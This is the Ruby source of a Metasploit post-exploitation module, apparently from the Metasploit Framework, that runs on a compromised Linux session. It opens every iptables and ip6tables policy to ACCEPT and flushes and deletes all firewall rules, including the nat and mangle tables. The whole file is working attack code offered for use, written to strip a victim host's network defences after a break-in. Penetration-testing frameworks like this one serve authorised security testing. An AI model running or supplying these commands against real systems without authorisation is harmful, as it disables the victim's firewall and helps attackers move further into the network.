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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Post
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  include Msf::Post::File
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  include Msf::Post::Linux::System
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  def initialize
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    super(
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      'Name' => 'IPTABLES rules removal',
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      'Description' => %q{
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        This module will be applied on a session connected to a shell. It will remove all IPTABLES rules.
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      },
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      'Author' => 'Alberto Rafael Rodriguez Iglesias <albertocysec[at]gmail.com>',
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      'License' => MSF_LICENSE,
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      'Platform' => ['linux'],
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      'SessionTypes' => ['shell', 'meterpreter']
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    )
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  end
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  def run
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    if command_exists?('iptables')
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      print_good('Deleting IPTABLES rules...')
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      cmd_exec('iptables -P INPUT ACCEPT')
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      cmd_exec('iptables -P FORWARD ACCEPT')
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      cmd_exec('iptables -P OUTPUT ACCEPT')
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      cmd_exec('iptables -t nat -F')
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      cmd_exec('iptables -t mangle -F')
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      cmd_exec('iptables -F')
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      cmd_exec('iptables -X')
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      print_good('iptables rules successfully executed')
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    else
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      print_line('iptables rules could not be executed')
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    end
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    if command_exists?('ip6tables')
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      print_good('Deleting IP6TABLES rules...')
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      cmd_exec('ip6tables -P INPUT ACCEPT')
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      cmd_exec('ip6tables -P FORWARD ACCEPT')
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      cmd_exec('ip6tables -P OUTPUT ACCEPT')
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      cmd_exec('ip6tables -t nat -F')
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      cmd_exec('ip6tables -t mangle -F')
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      cmd_exec('ip6tables -F')
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      cmd_exec('ip6tables -X')
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      print_good('ip6tables rules successfully executed')
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    else
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      print_line('ip6tables rules could not be executed')
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    end
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  end
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end
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